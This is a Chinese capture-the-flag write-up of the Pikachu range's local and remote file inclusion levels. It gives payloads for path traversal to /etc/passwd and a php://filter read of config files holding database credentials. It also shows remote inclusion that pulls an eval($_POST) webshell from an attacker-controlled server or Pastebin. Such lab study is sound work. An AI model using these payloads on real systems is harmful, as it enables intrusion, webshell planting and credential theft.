皮卡丘靶场解题记录-文件包含

  1. 漏洞原理总结:

    就像图书馆的”代借服务”。

    正常流程:你填个借书单 → 图书管理员去书架上拿固定的那本书(file1~file5)→ 给你。

    本地文件包含漏洞:图书管理员贴了个告示”把你要的书名写在 URL 里,我帮你拿”。你写”file1”,他拿了 file1。你写”../../../日记本”, 他顺着 ../ 走出了借阅区,跑到管理员休息室,把你的私人日记也拿出来了。

    远程文件包含漏洞:更离谱,图书管理员还允许你写网址——“ http://攻击者.com/假书.php”。他真的去那个网址下载了一个文件,然后当成 PHP 代码执行了。 等于你让他去马路边捡了一个包裹回来,然后他当着你的面打开了——里面是一个炸弹。

  2. 我的测试过程(截图):

    使用目录穿越,加上是get传参,直接自己拼url

    payload:

    1
    fi_local.php?filename=../../../../etc/passwd&submit=submit

    ../ 代表”返回上一级目录”,连续几个 ../ 就能回到根目录,然后访问 /etc/passwd 。服务器最终执行:

    1
    2
    include "include/../../../../etc/passwd";
    // 实际路径 = /etc/passwd

    image-20260807171943028

    image-20260807172232860

    远程:

    image-20260812004319650

    1
    http://101.43.30.86/pikachu/vul/fileinclude/fi_remote.php?filename=http://101.43.30.86/pikachu/rfi.txt&submit=submit

    url用的这个。

    简单解释一下,filename那些跟前面一样,重点是后面的这句http的地址。

    为了练习远程文件包含,我把靶场 Apache 的 allow_url_include改成了on【控制 include/require 能不能包含远程 URL(拉下来当代码执行),这个php默认是关闭的,所以从这点讲远程文件包含本身也很少见,哪个傻逼运维会这么干。】

    rif.txt:

    1
    <?php phpinfo();?>

    然后这个rif.txt文件, 放哪里无所谓,核心只有一个条件: 目标服务器执行 include() 时能通过 HTTP 协议访问到它。

    我没开内网穿透,公网服务器没办法访问内网,图省事直接把这个文件放服务器上了。当然实际运用上,把恶意代码托管在github上也行,能访问到就可以。

  3. 核心漏洞代码分析:

    本地文件包含:

    image-20260807171012531

    没有对传进来的文件名变量做任何处理,直接就被拼接进了include。并且这里是get传参,可以直接修改URL,那就意味着我可以不选下拉框里的东西,直接自己拼一个文件名。

    远程文件包含:

    image-20260807171524589

    同理,甚至更危险。这里的路径没了限制,自由度更高了。【即,能访问url】

    修复思路: 不要相信用户传的文件名,自己维护一个允许列表(白名单),用户传的值必须在这个列表里才放行。 ../ 、 http:// 这些不在白名单里,自然被拒绝。

    安全的写法是像本地文件包含的注释里那样,用||写成白名单,不给其他选项留空间。

  4. 实战延伸(价值所在):

【实战价值与门槛】

image-20260807172359291

【payload】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# ===== 本地文件包含 Payload =====

# Payload 1:读取系统用户文件
../../../../etc/passwd

# Payload 2:读取网站源码(读取自身,PHP 代码会被执行而不是显示,需要编码绕过)
# 用 php://filter 把 PHP 源码转成 base64 读出来,不会被当成代码执行
php://filter/read=convert.base64-encode/resource=../inc/config.inc.php
# 拿到 base64 后解码就能看到源码(含数据库账号密码)


# ===== 远程文件包含 Payload(需 allow_url_include=On) =====

# Payload 3:在你的服务器上放一个 test.txt,内容是:
<?php phpinfo();?>
# 然后访问:
http://101.43.30.86/pikachu/vul/fileinclude/fi_remote.php?filename=http://你的服务器/test.txt&submit=submit

# Payload 4:远程加载 Webshell(一步到位)
# 在你的服务器上放 shell.txt:
<?php @eval($_POST["cmd"]);?>
# 访问:
http://101.43.30.86/pikachu/vul/fileinclude/fi_remote.php?filename=http://你的服务器/shell.txt&submit=submit
# 然后蚁剑连接 fi_remote.php(因为 shell 代码已经注入进去了)

然后总结一下这个呢,就是,==不是”你把文件放上去”,而是”利用服务器自己能访问到的资源”。==

很小众的一些场景:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
### 场景一:配合 SSRF(服务器端请求伪造)
有些服务器虽然不直接对外暴露文件包含,但有一个 SSRF 漏洞(后面你也会学到)。SSRF 能让服务器自己去访问内网的某个 URL。这时候:

你不需要穿透内网, 你让服务器自己去内网拿文件。

### 场景二:共享主机 / 云服务场景
假设你和一个搞诈骗的团伙共用一个阿里云账号,你只控制了其中一台服务器 A,想打同账号下的服务器 B。B 有远程包含漏洞且 allow_url_include 开着。你不需要把文件传到 B 上——你在 A 上放一个 shell.txt ,然后让 B 来包含:

​```
http://服务器B/?filename=http://服务
器A/shell.txt
​```
内网互访,秒通。

### 场景三:利用互联网上的公开资源
理论上攻击者可以把恶意 PHP 代码托管在 Pastebin、GitHub Raw 等平台上:

​```
http://目标/?filename=https://
pastebin.com/raw/xxxxx
​```
目标服务器去 Pastebin 下载这个文件内容并执行。 你不需要自己的服务器,不需要内网穿透。

远程文件包含在真实 SRC 里可能一辈子都遇不到一次。这关的核心价值是理解 include() 可以接受 http:// 这件事,以及”PHP 配置可以决定漏洞存不存在”这个概念。真正实战中值钱的是本地包含——能读源码、读配置。

补充:

因为靶场代码里写的都是get传参所以没办法练习post传参的文件包含了,后续我会让main agent把代码给我改了来练习。